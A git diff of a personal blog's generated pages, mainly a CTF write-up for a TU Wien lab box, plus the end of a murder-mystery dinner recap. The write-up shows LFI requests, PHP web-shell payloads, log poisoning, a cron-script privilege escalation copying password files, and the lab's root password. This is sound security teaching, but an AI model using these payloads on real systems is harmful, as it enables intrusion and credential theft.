
    +

    The clash was instant as they though we were disrespectful to wear such cloths. +As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill.

    +

    She said, “I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it.”

    +

    The Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! +They said Why would they take it so far to accuse them of accusing us of murder.

    +

    Violetta, our family’s ice-cold fixer, replied, “it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention”.

    +

    They went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions.

    +

    While the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won’t name here out of privacy). Thank you again for such an amazing event!

    +

    Act II, the invitations

    +

    Sophia looked at us with her death smile and said, “I was involved with 9 invitations, the ones to our family, and nothing more.”

    +

    The room went into a deep silence. What did she mean? Who made Moretti’s invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti’s to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out?

    +

    The occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them.

    +

    Violetta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger…

    +

    Act III, the evidence

    +

    Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did.

    +

    There were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore’s body from the other side. The third picture was of Salvatore’s dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN.

    +

    Massimo got up from his sit, pointing to an article about her wife’s death. He stated how this was similar to her death, and how she died “The Moretti way”. “She was shot and pushed down the stairs. What other evidence do you need?” said Massimo.

    +

    Benito replied calmly, “But Salvatore didn’t die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.”. “Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.”, said Sergio with a collected tone.

    +

    Massimo wasn’t convinced, but he knew they were right. He just could not forgive her wife’s death.

    +

    The room went into silence again.

    +

    Violetta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola’s accounting showing F&E laundering money for Salvatore. No one knew what F&E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore’s level, using the Falcones’ casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it.

    +

    In the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: “Be careful”.

    +

    Serena pointed to Antonio, and he took out a piece of paper of the family’s weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti’s have with the youngest of the Falcones?

    +

    Lorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio’s report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones’ that night, and that he was in a casino with Aurora; no further explanation was provided by him.

    +

    Aurora didn’t budge either.

    +

    Sergio changed the subject swiftly. He pointed to the gun used for the murder and said, “Doesn’t that look like Santo’s gun? Where were you that night, Santos?”. “I was at home, with my mother”, Santos replied, and Lucia nodded.

    +

    It felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up.

    +

    Act IV, the confessions

    +

    The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard “there was another heir to Salvatore’s fortune”, that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child.

    +

    The prostitute continued, “Benito ordered to kill her mistress before the child was born, but he didn’t manage”. She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage.

    +

    Claudia wasn’t feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her?

    +

    The prostitute then continued. “Sergio is not Benito’s son”. Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito’s son. Benito smiled. “Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause.”

    +

    Sergio did not smile, or any changes in his face. He was ice-cold.

    +

    It was still not clear who plotted to kill Salvatore. Everyone was confused.

    +

    It was time for deduction.

    +

    Act V, the killer(s)

    +

    After a long discussion between all the family members, these were the conclusions.

    +

    It was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti’s. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were.

    +

    Initially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night.

    +

    If everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family’s side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why?

    +

    Lorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like “The Moretti” way. Then Lorenzo gets to Antonio, and +Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore’s money, as with all ties broken, no one would suspect he was Salvatore’s son. Nicoletta would also not talk, as she would lose everything if she confessed.

    +

    Although all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn’t mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti’s side.

    +

    It was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday?

    +

    Sophia was just disappointed with all of this. She didn’t budge.

    +

    The epilogue

    +

    Most people weren’t sharing what they knew not to become sus! I didn’t talk to everyone, but for example, the person who played Santo’s role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I’m not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren’t presenting everything they knew.

    +

    Overall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSp8sg/9HQfL6MJNbK9138ynptOPkYSjDMyEhaI9GfmV2MRlSwkipwWO2GdLstm+
    +bc8KNd1E5TQknN21P24dMqkQ2iDm6s0bDsVQ4X/iZfTwBBoGOD5Z2WvqBUqZo04d
    +ddb4Vk3fqB8hRpcDvqLM3iawn4a5vxGR3tvN16XrGZuyedHFi4YELLIHB0ks3b2p
    +zr6zHOniJ1aCSju8WS28cUMjNz+xCIBKLaHhiZjJ4yQaQVG456VIHCfYYNLo7gwj
    +3lGViTWg273r6YtxIOQBITPXp1Xib8AFubO7Cs1mTo9sEZcWdWFWslAmTLRiHt0x
    +4E58Ob8u/DDfmJrJlzNT/XABcqmLPrs/vAtT8jZNAKRyvtlCN+q2hB6Bu1tndVPH
    +qIrSt7ykMhhDYz6A6MzXkwIKG+lC6sygqISnL8NLnzOJVGy5Jl1Ig82g8DJI7qDJ
    +nh4a+E1ts4Iec2ASQtsZFfSlEcoKjXYbZ9npr8jg2temUxIMYq94L/Zeh0o+Ymxp
    +Qy7GC0YNddKgcvsPX/GwealKrCjRNIWuVogF/q86ASKAyZxDtWsAryOTufu7eV1T
    +QC68HqpwR8bvVPbmIk7l4vQSOXNjZuqaMOOkpFvMkwyOoAyRpmI9ksj0v5GllpIC
    +AidP1vQUUJUGtXbiW0vMufUc/fyulH1o0LCfwTLJoTyiBEwjNsw=
    +=3iUy
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/murder_mystery_night.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/murder_mystery_night.md.asc
    +gpg --verify murder_mystery_night.md.asc murder_mystery_night.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/crime-fiction/page/1/index.html b/public-clearnet/tags/crime-fiction/page/1/index.html new file mode 100644 index 0000000..58d3548 --- /dev/null +++ b/public-clearnet/tags/crime-fiction/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/crime-fiction/ + \ No newline at end of file diff --git a/public-clearnet/tags/ctf/index.html b/public-clearnet/tags/ctf/index.html new file mode 100644 index 0000000..4c906c6 --- /dev/null +++ b/public-clearnet/tags/ctf/index.html @@ -0,0 +1,11 @@ +Ctf | AlipourIm journeys +

    A TU Wien CTF where Sysops Klaus left the keys in the cron job

    LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

    June 5, 2026 · 10 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/ctf/index.xml b/public-clearnet/tags/ctf/index.xml new file mode 100644 index 0000000..33bcb7c --- /dev/null +++ b/public-clearnet/tags/ctf/index.xml @@ -0,0 +1,360 @@ +Ctf on AlipourIm journeyshttps://blog.alipour.eu/tags/ctf/Recent content in Ctf on AlipourIm journeysHugo -- 0.146.0enFri, 05 Jun 2026 12:00:00 +0000A TU Wien CTF where Sysops Klaus left the keys in the cron jobhttps://blog.alipour.eu/posts/g00_tuw_measurement_ctf/Fri, 05 Jun 2026 12:00:00 +0000https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/ctf/page/1/index.html b/public-clearnet/tags/ctf/page/1/index.html new file mode 100644 index 0000000..bbe05fd --- /dev/null +++ b/public-clearnet/tags/ctf/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/ctf/ + \ No newline at end of file diff --git a/public-clearnet/tags/debugging/index.html b/public-clearnet/tags/debugging/index.html new file mode 100644 index 0000000..8d859da --- /dev/null +++ b/public-clearnet/tags/debugging/index.html @@ -0,0 +1,19 @@ +Debugging | AlipourIm journeys +

    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)

    I tried to add a simple ‘views’ counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.

    October 18, 2025 · 9 min · Iman Alipour +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    September 9, 2025 · 4 min · Iman Alipour +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 8 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
